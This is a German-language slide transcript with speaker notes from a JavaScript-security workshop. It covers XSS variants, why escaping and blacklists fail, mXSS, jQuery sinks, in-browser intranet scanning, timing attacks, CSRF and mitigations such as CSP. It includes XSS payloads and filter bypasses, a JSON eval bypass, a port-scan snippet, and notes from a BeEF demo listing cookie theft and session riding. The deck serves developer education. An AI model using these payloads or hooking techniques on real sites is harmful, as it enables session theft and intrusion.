SlideShare uma empresa Scribd logo
1 de 157
Baixar para ler offline
Guten Morgen!

1
Guten Morgen zusammen?
Müdigkeit:
Ich > Ihr.
2
Ich bin übrigens deutlich müder als Ihr. Ich bin heute morgen mit dem Flieger aus München
gekommen, das heisst: um 5:30 am Flughafen sein, also um halb 5 aufstehen. Und bei uns
ist gerade Oktoberfest.
Berliner Flughafen?!
3
Für mich als Münchner war das erst mal verblüffend hier überhaupt anzukommen - hey, die
Berliner haben einen Flughafen? Ist der denn schon fertig?
Berlin FTW!
4
Aber nichts desto trotz, ich freue mich in Berlin zu sein. Wer kommt alles aus Berlin?
Hamburg? München? Eigentlich sollte ich nach was anderem fragen: Wer entwickelt auf
node.js? Wer eher im Browser?
JavaScript Days Muc
5
Aber zurück zu München. Mirko und die Jungs von Qafoo hatten mich dort gefragt, ob ich
nicht auch einen Vortrag machen möchte. Im wesentlichen weil mein Büro 300 Meter von den
JavaScript Days entfernt war.
DISCLAIMER:
No JavaScript-God
But pretty good at
breaking stuff.
6
Vielleicht noch eins vorweg - ich habe nur begrenzt viel Ahnung von JavaScript. Aber ich bin
ziemlich gut darin, Dinge kaputt zu machen. Auch JavaScript, Browser, Server, you name it, i
break it.
Warum JavaScript
aus den gleichen
Gründen
Gold und Müll ist
7
Der Inhalt des Vortrags in München war in etwa, warum JavaScript als den gleichen Gründen
völlig mächtig und super ist - und parallel dazu ein völlig riskantes, hirntotes Konstrukt.
OH NOES!
JavaScript Security!
8
Einer der Hauptgründe für warum es echt schmerzhaft ist ist Security. Und nach dem Talk
haben wir dann noch mal drüber gesprochen, ob man nicht mal einen Workshop darüber
machen sollten. Und da bin ich.
CPU
BUS
Speicher
9
In meinem Talk im März habe ich das wie ein guter Informatiker abstrakt und umständlich
begründet. Und zwar mit der von Neumann-Architektur. Die sagt: es gibt einen CPU, und die
redet über einen BUS nicht nur mit Input und Output, sondern auch mit dem Speicher.
CPU
BUS
Speicher:
Echte Daten
Laufzeitdaten: Heap, Stack
10
Konkret befinden sich im Speicher echte Daten, also zum Beispiel Adressen oder so, aber
auch Laufzeitdaten wie Variablen und Funktionsaufrufe. Die befinden sich im Stack der
Prozesse, oder im Heap für angeforderte Daten.
Speicher:
Echte Daten
Laufzeitdaten: Heap, Stack
Für die CPU sind
Daten, Laufzeitvariablen
und Code das gleiche
11
Und das hat vor allem eine Konsequenz:
Für die CPU sind Daten, die Laufzeitvariablen, die Laufzeitdaten und der Code das gleiche:
manipulierbarer Speicher.
Für die CPU sind
Daten, Laufzeitvariablen
und Code das gleiche
•Buffer Overflows
•Integer Overflows
•Format String Bugs
•Use after Free 12
Und das resultiert in ca 80 Prozent der Bugs in Betriebssystemen, Servern, die zu Security-
Problemen führen.
Deshalb wurde beliebig viel Zeit in das Engineering von CPUs und Betriebssystemen gesteckt.
Inzwischen können steht an den Speicherpages explizit dran, welche executiert werden
dürfen und welche nicht, und der Laufzeitspeicher ist randomisiert und nicht mehr erwartbar.
Browser: Daten, Code, Darstellung
OS: Variablen
Für den Browser sind
Daten, Code und
Darstellung das gleiche
13
Wirrerweise hat man dann im Browser eine ähnliche Architektur gewählt - vermutlich
erwartete man nicht, dass das Konzept dermassen erfolgreich sein würde. Der Server redet
mit dem Browser nur über einen langen String, und der enthält den Content - und seit 1995
auch die Programmiersprache JavaScript. Daten können in der Seite oder separat stattfinden.
Für den Browser sind
Daten, Code und
Darstellung das gleiche
•Session Riding
•XSS
•CSRF
•JavaScript Hijacking
•Clickjacking
 14
Und genau daraus resultieren die ganzen Bugs, die wir in der JavaScript-Welt haben. Zu den
einzelnen Punkten komme ich natürlich noch.
15
Aber nicht nur da hatte der Herr von Neumann einen Vorteil. Bei ihm war das noch einfach. Es
gab nämlich nur einen Rechner, und der war trusted. Weil jemand den Schlüssel zu dem
Raum hatte, in dem der Rechner stand. Und nur der kam an den Rechner ran. Also durfte der
machen, was er will.
16
Beim Browser sieht das anders aus - da habe ich zwar meinen lokalen Client, dem ich zwar
prinzipiell vertraue - aber dieser führt Code aus, der aus dem Internet kommt - und dem ich
meistens nicht vertrauen. Deshalb wird JavaScript ja auch in einer Sandbox ausgeführt.
Und meist habe ich Daten und JavaScript von verschiedenen Quellen auf, die wiederum
andere Quellen einbinden können - dementsprechend kann ich dem, was im Browser
passiert, nie wirklich trauen. Deshalb wurde HTTPs eingeführt, damit ist wenigstens - jenseits
der NSA - die Authentizi
•2.5 Milliarden Browser-Clients
•1 Milliarde Smartphones
•Private Daten im Browser
•Bankdaten im Browser
•Milliardensummen in Transaktionen
Largest Attack
Surface Ever!
17
Und die Grafik von eben gibt es nicht nur einmal. Sondern endlos oft. 2.5 Milliarden Clients
werden genutzt, inzwischen fast genausoviele Smartphones. Jeder hat inzwischen mehr
private Informationen im Browser als im Tagebuch. Mehr Geld über Online-Transaktionen
verwaltet als über Unterschriften.
E
Und konkret?
18
Aber genug vom theoretischen Erzählen .... gucken wir doch mal an, was alles faktisch
dahinter steht.
KXSS
19
Erster und wichtigster Kandidat ist XSS. Wer weiss alles, was XSS lang heisst?
KXSS
Cross
Site
Scripting
20
Genau, das sollte auch jeder Wissen.
Weiss jemand, warum das so heisst?
Exakt, weil die Jungs schlicht nicht nachgedacht haben.
Eigentlich ist das aber ein Misnomer, weil es eigentlich nur wenig mit Cross Site zu tun hat.
KXSS
JavaScript
Injection
21
Eigentlich reden wir über JavaScript Injection, denn das ist das, was tatsächlich passiert. Auf
dem Computer lokal wäre das kein Problem - aber wir haben es eben genau nicht mit nur
einem Rechner zu tun, sondern mit ganz vielen - und das macht das ganze erst möglich.
KXSS
<html>
<head>
<title>JavaScript-Test</title>
<script src="quadrat.js" type="text/javascript">
</script>
</head>
22
JavaScript kann der Browser eigentlich gar nicht direkt ausführen. Die Ausführung passiert
erst dann, wenn ein Dokument das JavaScript einbettet. Und das passiert so.
Und wenn es nur so ginge, dann hätten wir ein Problem weniger.
KXSS
<html>
<head>
<title>JavaScript-Test</title>
<script src="quadrat.js" type="text/javascript">
</script>
</head>
I WANT MOAR!
23
Aber diese Variante war den Jungs von Netscape damals alleine zu unpraktisch. Es wäre doch
total praktisch, wenn man das Javascript auch an anderen Stellen einsetzen könnte ...
KXSS
<html><head><title>JavaScript-Test</title>
<script type="text/javascript">
alert(“Hi!“);
</script>
</head>
24
Wie zum Beispiel einfach direkt im Script Tag. Ok, das lag auf der Hand, aber ab dem Moment
gibt es ab ... wäre es nicht auch super, wenn man zum Beispiel ...
KXSS
<a href=“javascript:alert(/Hi!/);“>Click me</a>
25
Einfach URLs nutzen könnte, um JavaScript auszuführen???
KXSS
<meta http-equiv=“refresh“
content=“0;url=“javascript:alert(1);“>
26
Hey, das wäre cool. Schliesslich können wir URLs fast überall nutzen. Und da geht das dann
auch.
KXSS
<table background=“javascript:...
27
Ja, das ging auch mal. Was wären wir ohne Table-Backgrounds, die Script-Gesteuert sind.
Glücklichweise haben die Browserhersteller relativ früh gemerkt, dass das kein guter Plan ist.
Aber immerhin - Gerüchten zufolge soll es noch Nutzer geben, die alte Browser einsetzen.
KXSS
<input value=“12“ onmouseover=“alert(1);“>
28
Dann haben die Jungs von Netscape noch mal weitergedacht, und kamen auf die Idee, das
ganze doch noch mal Inline machen zu können, wie damals in Delphi, einfach eine Aktion an
das GUI-Element koppeln. Oder wie bei Visual Basic.
KXSS
<style>a: expression(alert(1))</style>
29
Und wäre es nicht aus super, wenn man die Darstellung, die inzwischen über CSS gesteuert
wird, automatisieren könnte? Glücklicherweise mit IE8 endgültig deaktiviert, und IE-only.
KXSS
<STYLE>.XSS{background-
image:url("javascript:alert('XSS')");}</
STYLE><A CLASS=XSS></A>
30
Hey, und wenn das nicht geht - wir können das ja auch noch über URLs machen.
Glücklicherweise auf neuen Browsern auch nicht mehr möglich.
KXSS
<script>
xss = “alert(1);“;
eval(xss);
</script>
31
Und, weil wir schliesslich Informatiker sind: das sollte auch Meta und Rekursiv können.
Natürlich muss JavaScript auch JavaScript ausführen können.
KXSS
32
Und wenn wir schon mal dabei sind ... wir könnten doch auch Plugins damit steuern. Das
wäre doch super. Und damit hätten wir auch endlich wieder Zugriff auf die ganzen Super Bugs
aus der C-Welt: Buffer Overflows, Format String Bugs, Integer Overflows.
KXSS
33
Und generell, wäre es nicht super, wenn jeder, der in Zukunft neue Dinge im Browser macht,
sie auch gleich scripten könnte? Dann könnten wir alles Super automatisieren!
MathML und JavaScript war so kaputt, das Chrome es nach wenigen Versionen wieder
rausgeworfen hat.
KXSS
Das ist
unpraktisch!
34
Das ist zwar auf der einen Seite, irgendwie total cool, dass ich das überall verwenden kann,
auf der anderen Seite aber massiv unpraktisch.
KXSS
Für den Browser sind
Daten, Code und
Darstellung das gleiche
35
Denn: Alles ein langer String.. Weil unsere Daten, unsere Darstellung und unser Code für den
Browser das gleiche sind.
KXSS
Ich wollte doch nur
Daten schreiben!
36
Und genau da kommen unsere Probleme her - ich wollte als Entwickler nur Daten oder
Layout-Elemente erzeugen. Und der Browser, die Sau, hat sich entschlossen, meine Daten
ganz stumpf als Executable Code zu nutzen.
KXSS
<p>Name: Hartmann</p>
<p>Name: Hartmann<script>alert(1);</
script></p>
37
Das ist der Klassiker der Hacker-Formular-Tourette: eigentlich wollte ich nur meinen Namen
eingeben, irgendwie kam dann aber ein ganz anderer String heraus, und der machte diesen
Unsinn. Eigentlich sollten da nur Daten stehen, keine Ahnung, warum der Browser da jetzt
Unsinn macht.
KXSS
<script>
plz = 80331;
<script>
<script>
plz = 80331;alert(1);
<script>
38
Auch das passiert: Da wollte ich meine Javascript nur die Postleitzahl des Nutzers in die Hand
geben, und durch einen doofen Typo hat es JavaScript erkannt.
Weiss jemand wie ich es richtig escaped hätte? Wieder hätte ich eigentlich nur Daten haben
wollen.
KXSS
<input type=text value=“Hartmann“>
<input type=text value=“Hartmann“
AUTOFOCUS onfocus=“alert(1);“>
39
Hier wollte ich meinem Formularfeld nur sagen wie ich heisse. Dieses mal habe ich mit dem
Typo aus Versehen gleich HTML5 gemacht, und schwupps, war da auch schon wieder ein
Alert;
KXSSXSS Type 0:
Dom-based XSS
Lokal, nur im Client, ohne Server.
Deshalb hilft serverside Mitigation nicht.
Meist basierend auf location.*
40
Aber woher kommen die Daten, die da an den falschen Stellen ausgegeben werden?
Da unterscheidet man drei Typen. Der erste ist Type 0 XSS, auch DOM-based XSS genannt.
Der passiert rein im Browser, und damit auch schon auf statischen HTML-Files. Er braucht
auch keine Server, und Web Application Firewalls oder Pentesting bzw. Tests hilfen nicht.
Man kann sich nur direkt im Javascript schützen.
KXSSXSS Type 1:
Reflected XSS
Die typische XSS.
Eingabe -> Ausgabe -> Boom.
Schön zu testen.
Andere Seite heilt den XSS.
41
Der bekannteste Typ, unter dem auch gemeinhin XSS verstanden wird, ist der XSS Typ1, der
reflektierte XSS. Meist gibt es hier eine Eingabe und gleich auf der nächsten Seite eine
Ausgabe - zB bei Formularen. Er ist nur für denjenigen sichtbar, dessen Browser auch den
Ursprungsrequest abgeschickt hat. Der Schutz passiert meist auf der Serverseite.
KXSSXSS Type 2:
Persistent XSS
Wie reflektierter XSS, aber gespeichert.
Auch für andere Nutzer sichtbar, kann viral
werden.
42
Der dritte Typ ist der aggressivste, der Persistente XSS. Der passiert, wenn ich zB in ein
Forum einen XSS einschleusen kann, der dann von anderen Nutzern auch gesehen wird. Oder
XSS in einem Chat.
KXSSXSS Type X:
Somewhere Else
Eingebettetes remote.js
Externe JSONPs
Daten aus der Datenbank
Handschrift auf der Überweisung
43
Und es gibt natürlich beliebige andere Quellen, von denen meine Applikation die Daten
bekommt.
KXSSRich Internet
Applications
Bei Single Page Applications ist jeder XSS
persistent, weil keine Heilung mehr durch
einen URL-Wechsel stattfindet.
44
Das gemeine an allen drei Typen ist, dass das inzwischen für uns meist fast egal ist. Denn bei
den Single-Page-Applications, die wir normalerweise schreiben, hilft es nichts mehr - es
bleibt immer der gleiche Seitenscope bestehen, und damit ist jeder XSS, zumindest für die
Zeit der Session, persistent.
KXSS
Escaping FTW!
45
Also wurde zunächst einmal escaped. Wer setzt hier $.html() in Jquery ein, um Output zu
escapen?
KXSS
escapeHtml(“Hartmann<script>alert(1);</script>“);
46
Ich nehme hier mal die Escape-Funktion aus Mustache, vom Jan Lehnhardt.
KXSS
<p>Name: Hartmann</p>
<p>Name:
Hartmann&gt;script&lt;alert(1);&gt;/
script&lt;</p>
47
Das klappt tatsächlich, wie cool!
KXSS
escapeHtml(“Hartmann“ AUTOFOCUS onfocus=
“alert(1); “);
<input type=text value=“Hartmann&quot;
AUTOFOCUS onfocus=&quot;alert(1);“>
48
Heja, der klappt ja auch! Endlich habe ich eine Escape-Funktion, die Universell ist...
KXSS
<script>
plz = 80331;
<script>
<script>
plz = 80331;alert(1);
<script>
49
Und schauen wir uns noch mal das JS-Beispiel direkt an - das gilt btw. auch für alles, was
direkt in einem Exekutierbaren Scope landet, also auch events etc. Da funktioniert das nicht
weil wir dazu hätten „;“ escapen müssen
Das gleiche gilt für ausgaben in JavaScript Events.
KXSS
Universelles Escaping
funktioniert nicht.
50
Fazit: Universelles Escaping funktioniert nicht.
KXSS
ÜBUNG
ESCAPING
51
Übung zu Escaping einbringen.
KXSS
$name =$_GET[‘name‘];
$name = escapeme($name);
<script>
name = “...“;
<script>
Input
Output
52
Wie würde hier die Escapeme aussehen?
KXSS
Input
Output
$data =
‘{vorname:“johann“,nachname:“Ha
rtmann“}‘;
<script>
var data = myfunction(“...“);
<script>
53
Wie würde hier die myfunction aussehen?
KXSS
Input
Output
$wysiwyg = “<div>Hi!</div>“;
$layout = escapeme($wysiwyg);
<body>
....
</body>
54
Und hier?
Genau, universelles Escaping funktioniert nicht.
KXSS
Blacklists ftw
55
Also wurde zunächst Blacklisting erfunden. Sprich: ich gucke nach bösen Sachen und filtere
sie heraus. Jemand hier, der Blacklists einsetzt? PHPIDS? Validator aus Node.js?
KXSS
<p>Name: Hartmann<script>alert(1);</
script></p>
<p>Name: Hartmannalert(1);</p>
56
Blacklists sollten die gefährlichen Ausdrücke entfernen, so dass kein JavaScript mehr
ausgeführt werden kann. Also wurden die einfach entfernt.
KXSS
<p>Name:
Hartmann<scr<script>ipt>alert(1);</
scri<script>pt></p>
<p>Name: Hartmann<script>alert(1);</
script></p>
57
Darauf haben die Hacker dann reagiert, indem sie einfach das, was entfernt wird, wieder
ergänzt haben. Das hat nur so mittel geklappt. Danach sind die aber besser geworden, und
laufen heute so lange über einen String, bis sie nichts mehr finden.
KXSS
<p>Name:
Hartmann<scr<script>ipt>alert(1);</
scri<script>pt></p>
<p>Name: Hartmann[removed]alert(1);
[removed] </p>
58
Inzwischen sind die natürlich auch besser geworden, und im regelfall - zB bei node.js
validator - sieht das so aus.
KXSS
<script>
plz = 80331;
<script>
<script>
plz = 80331;alert(1);
<script>
59
Dieses Ding bleibt trotzdem unangetastet. Ok, bei einigen Blacklists fliegt alert raus ....
KXSS
<script>
plz = 80331;
<script>
<script>
plz = 80331;prompt(1,1);
<script>
60
... da muss man dann prompt(1,1) zum testen nehmen :-).
KXSS
Universelles
Blacklisting
funktionert nicht.
61
Fazit: Universelles Blacklisting funktioniert auch nicht.
KXSS
Ok, Escaping geht nicht, Blacklisting geht
nicht.
Sonst noch was um meine Laune zu
verderben?
62
Das ist ja schon mal nicht so gut. Aber sind wir damit schon am Ende?
KMXSS
The innerhtml
Apocalypse
63
Natürlich nicht, das wird noch eins komplizierter. Und zwar weil Browser tolerant sind. Die
wollen nicht nur überall JavaScript executen, sondern die wollen auch aus jedem Syntax etwas
nützliches machen.
KMXSS
Es steht das drin,
was gemeint war.
64
Natürlich nicht, das wird noch eins komplizierter. Und zwar weil Browser tolerant sind. Die
wollen nicht nur überall JavaScript executen, sondern die wollen auch aus jedem Syntax etwas
nützliches machen. Klar, wer die Anfänge auf Geocities mitbekommen hat - da war mit
sauberem Syntax nichts zu holen.
KMXSS
Demotime!
Idee, Konzept, sonstiges:
alles geklaut bei Mario Heiderich
65
Demo!
file:///Users/johann/javascript/innerhtml_test.html
Siehe http://de.slideshare.net/x00mario/the-innerhtml-apocalypse
KMXSS
HTML im Browser != geschriebenes HTML
•abhängig von Browserversion
•abhängig von Browsermode
•abhängig von Position im HTML
66
Was lernen wir daraus? Es kommt nicht darauf an, was wir selbst als JavaScript schreiben,
sondern es kommt darauf an, was der Browser daraus macht.
KMXSS
Beispiel: <i foo="<b>" [EOF]
Firefox, Chrome, Safari: da ist nur ein <i>-Tag
IE, Opera: Da ist ein <i> und ein <b>-Tag
67
Mal ein anderes konkretes Beispiel, unser File hört mit einem Tag i mit einem Attribut auf -
dann wird das <b>-Tag in IE und Opera als solches interpretiert.
KXSS
Are we done
yet?
68
Ok, sind wir jetzt endlich mit den ganzen Problemen durch?
KXSS
Nope.
69
Klar gibt es noch mehr!
KXSS
<div data-dojo-type="dojox/calendar/Calendar"
data-dojo-props="startDate: new Date(2012, 0, 1), endDate:
new Date(2012, 0, 9)"
style="position:relative;width:500px;height:500px"></div>
70
Wir haben ja schliesslich noch JavaScript Libraries. Und auf einmal gibt es Properties die
Aktionen auslösen, die ich noch gar nicht kenne - zum Beispiel über Widgets. In HTML5 gibt
es das auch, aber da triggern sie kein JavaScript, das eigene Lücken enthalten kann.
KXSS
Vorher galt:
Attribut mit on* -> Triggert JavaScript
71
Und das ist wichtig - denn vorher konnte man sich darauf verlassen, dass JavaScript nur über
Events, also über Attribute, die mit on* beginnen getriggert wurde - und alles andere
funktioniert automatisch.
KXSS
72
Und nicht nur da spielen die Libraries eine Rolle.
Wer setzt alles Jquery ein? (Jetzt sollten sich alle melden)
KXSS
73
Da steht ja nicht umsonst „write less, do more“ drunter. Das passiert tatsächlich.
KXSS$()
74
Das wird zum Beispiel mit der sehr mächtigen $() funktion gemacht, die abhängig von Inhalt
unterschiedliche Dinge tut. Das erlaubt einem sehr schnell zu sein. Das ist cool.
KXSS$()
75
Aber das bedeutet auch, dass man nicht immer weiss, was passiert. Und das ist ein Problem.
KXSS
Sink: eine Funktion, die ein Risiko darstellt,
wenn ihr nicht vertrauenswürdiger Input
übergeben wird.
76
In Security spricht man von einer Sink wenn man eine Funktion hat, die in einem Security-
Problem resultiert, wenn sie fremde Daten bekommt oder die Daten nicht sanitized sind.
SQL-Funktionen sind solche Sinks, wenn ich dort einen String direkt eingebe, dann wird er
ungefiltert der Datenbank übergeben und kann SQL-Injections erzeugen. eine
Multiplikationsfunktion wäre dementsprechend Risikofrei.
KXSS
$() ist eine Sink
$("<img src='dd' onerror='alert(1)'>");
77
Und genau da kommt unser Problem her - $() ist eine Sink, und nicht jeder weiss es.
Ich darf also $() nur validierten Input in die Hand geben.
Quelle: https://www.owasp.org/images/9/95/JS_Libraries_Insecurity_-_Stefano_DiPaola.pdf
KXSS
Ok, aber
ist das wirklich
ein Problem?78
Da stellt sich natürlich die Frage - ist das wirklich ein Problem?
KXSS
Wenn JavaScript ausgeführt werden kann,
dann ist das vollständige Vertrauen im
aktuellen JavaScriptkontext zerstört.
79
Ja, ist es. Das erste liegt an der Sprache selbst. Die Sprache erlaubt die Manipulation und das
Überschreiben von allem, auch von den Browsereigenen Objekten und Methoden.
KXSS
80
Ich brauche bloss window.alert(); auf eine neue Funktion zu binden, und schon passiert etwas
ganz anders wenn ich einen alert() triggere. Das gleiche gilt natürlich auch für Objekte wie
xmlhttprequest.
KXSS
Same Origin Policy
81
Eigentlich kann ich mit JavaScript auch nur auf Ressourcen meines Servers zurückgreifen,
dank der Same Origin Policy. Faktisch sieht das aber anders aus, mit ein paar Tricks.
KXSSIntranet
82
KXSS
Erkennung der Browser-IP per WebRTC
Intranet
82
KXSS
Erkennung der Browser-IP per WebRTC
nmap für Arme: Host- und Portscanning
Intranet
82
KXSS
Erkennung der Browser-IP per WebRTC
nmap für Arme: Host- und Portscanning
über Iframes, Img-Tags, JavaScript, ohne
JavaScript über Timing von <link>-Includes:
<img src=“http://192.168.2.1:80/“
onError=“stoptimer(“192.168.2.1“, 80);“ />
Intranet
82
KXSSIntranet
83
KXSS
Dictionary-Attacken auf das Intranet
Intranet
83
KXSS
Dictionary-Attacken auf das Intranet
Erkennung von Devices und vorhandener
Logins über URLs
Intranet
83
KXSS
Dictionary-Attacken auf das Intranet
Erkennung von Devices und vorhandener
Logins über URLs
Breite Angriffe (zB Drive-By-Pharming)
Intranet
83
KXSS
Pixel Perfect Timing
84
KXSS
var handle =
window.requestAnimationFrame(callback);
Pixel Perfect Timing
84
KXSS
var handle =
window.requestAnimationFrame(callback);
Nutzen um die Frame Rate auszurechnen
Pixel Perfect Timing
84
KXSS
var handle =
window.requestAnimationFrame(callback);
Nutzen um die Frame Rate auszurechnen
Über -moz-element iframe als vergrösserten
Background für ein <div> nutzen
Pixel Perfect Timing
84
KXSS
var handle =
window.requestAnimationFrame(callback);
Nutzen um die Frame Rate auszurechnen
Über -moz-element iframe als vergrösserten
Background für ein <div> nutzen
teuren Morphology-Filter über einzelne
Pixel legen und Frame Rate messen
Pixel Perfect Timing
84
KXSS
Pixel Perfect Timing
http://www.contextis.com/files/Browser_Timing_Attacks.pdf
85
Hier sehen wir wie das funktioniert - links oben der Originale frame, rechts das div mit der
Kopie, unten links ein Frame mit Treshhold als Filter, und rechts unten ein einzelner Pixel -
und über diesen wird die Framerate gemessen.
KXSS
Pixel Perfect Timing
86
KXSS
Geht natürlich auch mit view-source: urls im
Chrome
Pixel Perfect Timing
86
KXSS
Geht natürlich auch mit view-source: urls im
Chrome
Framebuster/ X-Frame-Options schützen
Pixel Perfect Timing
86
KXSS
Geht natürlich auch mit view-source: urls im
Chrome
Framebuster/ X-Frame-Options schützen
Facebook-Comments/Likes wollen
embedded werden
Pixel Perfect Timing
86
KXSS
Geht natürlich auch mit view-source: urls im
Chrome
Framebuster/ X-Frame-Options schützen
Facebook-Comments/Likes wollen
embedded werden
OCR funktioniert.
Pixel Perfect Timing
86
KXSS
Demotime!
http://beefproject.com/
87
1. Neuer Browser
http://whatismyipaddress.com
IP notieren
2. Blog-URL
http://blog.mayflower.de
3. in http://beef.mayflower.de/ui/panel einloggen
4. Links die Zombies zeigen
5. Rechts Log zeigen
6. Meine IP raussuchen
7. Detail-Seite vorstellen - alles, was einfach ohne tricks über JavaScript zu ermitteln ist, quasi Browser Capabilities
7. Rider
Nutzung des Fremden Browsers als Proxy- auf der gehijackten Domain, weil Same Origin
8. Commands
Browser
Domain
8.1 get cookie
-> session riding mit login
8.2 get page hrefs
8.3 alert dialog
8.4 Full Page Rickroll
8.5 Webcam Permission check - interesting domains
8.6 Host - Get internal IP
8.7 DOSer
8.9 Persistence - create popunder.
9.0 Phonegap & Extension exploits
CXSSExtensions,
& HTML5
& Phonegap
88
Da sind wir auch gleich beim nächsten Thema - HTML / XSS jenseits des Browsers.
CXSS
Faktisch: HTML5-Applications
Extensions
http://de.slideshare.net/kkotowicz
89
CXSSExtensions
Pro Domain* Sonderrechten:
chrome.tabs
chrome.bookmarks
chrome.history
chrome.cookies
90
CXSSExtensions
Pro Domain* Sonderrechten:
chrome.tabs
chrome.bookmarks
chrome.history
chrome.cookies
40%
http://*/*
https://*/*
91
CXSSExtensions
Halten sich inzwischen an Content
Security Policy
Aber: diverse eval()s in Libraries
(mustache, underscore, jQuery template)
92
CXSSExtensions
Resultat:
Voller Zugriff auf alle Seiten im Browser
Inkl. Cookies und Logins
Facebook, GMail, Twitter, ...
93
CXSSHTML5
<input type=file directory>
94
Das neue Directory-Attribute im Chrome erlaubt vollen Lesezugriff auf das Verzeichnis,
nachdem es ausgewählt wurde. Einfach Download anbieten, „Download to Folder“-Button
machen - und schon hat man Zugriff auf das ganze Verzeichnis.
CXSSHTML5
Alte Bugs in neuen Variationen:
<input onfocus=alert(1) autofocus>
<input onblur=alert(1) autofocus><input autofocus>
<form id=test onforminput=alert(1)>
<button form=test onformchange=alert(2)>
<button form=test onformchange=alert(2)>
<math href="javascript:alert(1)">CLICKME</math>
95
Und natürlich werden alle alten Blacklistfilter durch neue Attribute und Tags ausgetrickst.
CXSSPhonegap
User-Content mit XSS:
WTF: XSS Prevention ist Blackberry Only
96
CXSSPhonegap
Capabilities über Permissions:
Camera, Contacts, Files, Geolocation,
Media,...
Alle Capabilities der App in XSS nutzbar
97
CXSS
Are we done
now, please?98
Sind wir jetzt endlich mit den ganzen Security Problemen durch?
Wer meint wir wären durch?
Genau, jetzt kommen wir erst zu den Highlights.
hJSON
JavaScript Object Notation
„Hey, it‘s Data and Code!“
99
JSON, die JavaScript Object Notation. Wer wendet es alles an?
Warum ist das so charmant? Weil es gleichzeitig ein Datenformat ist, das aber direkt als Code
angewandt werden kann - erinnert das jemanden an etwas?
Man muss es also nur in ein Eval() kippen? Wer der anwesenden macht das mit JSON?
hJSON
A JSON text can be safely passed into JavaScript's eval() function
(which compiles and executes a string) if all the characters not
enclosed in strings are in the set of characters that form JSON
tokens. This can be quickly determined in JavaScript with two
regular expressions and calls to the test and replace methods.
var my_JSON_object = !(/[^,:{}[]0-9.-+Eaeflnr-u nrt]/.test(
text.replace(/"(.|[^"])*"/g, ''))) &&
eval('(' + text + ')');
http://www.ietf.org/rfc/rfc4627.txt:
100
JSON wird in der RFC 4627 definiert. Dort steht auch drin, dass man es direkt evaluieren
kann.
Wenn man vorher zwei Regex dagegen wirft. Dann geht das in Ordnung. Also nicht einfach
nur Eval, sondern vorher evaluieren
hJSON
// Courtesy of Eduardo `sirdarckcat` Vela Nava
+{ "valueOf": self["location"],
"toString": []["join"],
0: "javascript:alert(1)",
length: 1
}
101
Und das ist der String, der trotzdem durchkommt. Von Sirdarckcat, heute Mitarbeiter von
Google.
hJSON
Danke, Internet Explorer.
102
Glücklicherweise gibt es nur einen Browser, der das als Code sieht - leider ist er immer noch
an Platz 2 der Browserstatistik. Selbst die RFC konnte nicht vorhersehen, was der Browser
alles als JavaScript interpretiert.
M
Typosquatting
XSS
1. Registrier die Domain googlesyndicatio.com
2. Erzeuge ein file http://pagead2.googlesyndicatio.com/
pagead/ads
3. 12.000 Aufrufe pro Tag
4. Beefproject FTW
103
Und noch eine letzte Geschichte aus der Kategorie „Man glaubt es nicht:“
Die Jungs von der Security-Firma Securitee haben im Sommer einfach mal die Domain
googlesyndicatio.com reserviert - so wie die alte Google-Ads-Domain, vor vielen, vielen
Jahre,nur mit einem Typo. Da haben sie dann ein Script abgelegt.
fCSRFCross Site
Request Forgery
„Sea Surf“
„Anfragenfälschung“
104
Aber es gibt nicht nur XSS, die eine Rolle bei JavaScript-Applikationen spielen. Die zweite
Klasse von Bugs, die durch die defekte Architektur von Browsern entstehen. Wenn ich mit
meinem Browser auf Google Mail angemeldet bin, dann gilt diese Anmeldung auch für die
anderen Tabs im Browser - sie können zwar nicht die Daten lesen, aber wenn ich aus meinem
evil.com einen Request mit der Formaction Richtung Google abschicke, dann kommt die dort
mit der Authentifizierung - sprich dem Cookie - meines Browsers an.
fCSRFCross Site
Request Forgery
Schutzmaßnahmen:
Referercheck (nicht ausreichend)
Token-Authentifizierung
105
Gegen Cross Site Request Forgery schützt man sich in ganz schlecht mit einer Verlagerung
von GET auf POST, in etwas weniger schlecht mit einem Referer-Check, den man mit etwas
geschick umgehen kann, und korrekt mit einer Token-authentifizierung, der mit dem
Formular mitgeliefert wird und nur meinem Client und dem Server bekannt ist.
fCSRFCross Site
Request Forgery
Jeder XSS boykottiert
CSRF-Protection
106
Da kommen wir aber auch gleich zu unserem Problem - wenn meine Seite einen XSS enthält,
dann kann genau dieser Token bequem ausgelesen werden - und dadurch ein falscher
Request hergestellt werden, und im Browser des Clients angeschickt werden. Der XSS muss
noch nicht einmal auf der Korrekten Seite sein - das Formular mit dem Token kann ich dank
Same Origin Policy ja auch direkt mit xmlhttprequest auslesen.
ZXSS
How to fix it.
107
Ok, so langsam können wir ja auch mal schauen, wie man das ganze Repariert.
ZXSS
Schlicht nicht machen:
*.innerhtml ändern
eval();
JSON in eval();
document.write();
108
In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch
aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
ZXSS
Schlicht nicht machen:
Inline <script>-Javascript
Auslagern
Komprimieren
109
In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch
aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
ZXSS
Schlicht nicht machen:
on-Events
Explizit binden:
$('#main').bind("click", function(e) { alert(1) });
110
In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch
aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
ZXSS
Schlicht nicht machen:
Alte Libraries (json.js, jquery) updaten
Auch wenn Google sie noch hostet ...
111
In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch
aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
ZXSS
Schlicht nicht machen bei JQuery:
Niemals untrusted Input in die Sinks...
JQuery(), $(), $().html, $().before(),
$().after, $().prepend, $().append
112
Bei Jquery sollte man wissen, welchen Funktionen man trauen kann und welchen nicht - also
welche Sinks sind und welche nicht.
All diese Funktionen sollte nicht mit User-Input gefüttert werden.
ZXSS
Schlicht machen:
Korrekt escapen:
Urls mit EncodeURI
HTML zB mit JsHtmlSanitizer
Whitelists wo sie möglich sind
113
ZXSS
Content-Security-Policy: script-src ‘self‘
X-Content-Security-Policy: script-src ‘self‘
X-WebKit-CSP: script-src ‘self‘
Header
114
Der erste Header ist für neue Firefox und Chrome, der zweite für alte Firefox und IE10, der
dritte für Webkit. Achtung: die machen in der Konfiguration alle schlechte JS-Libraries wie
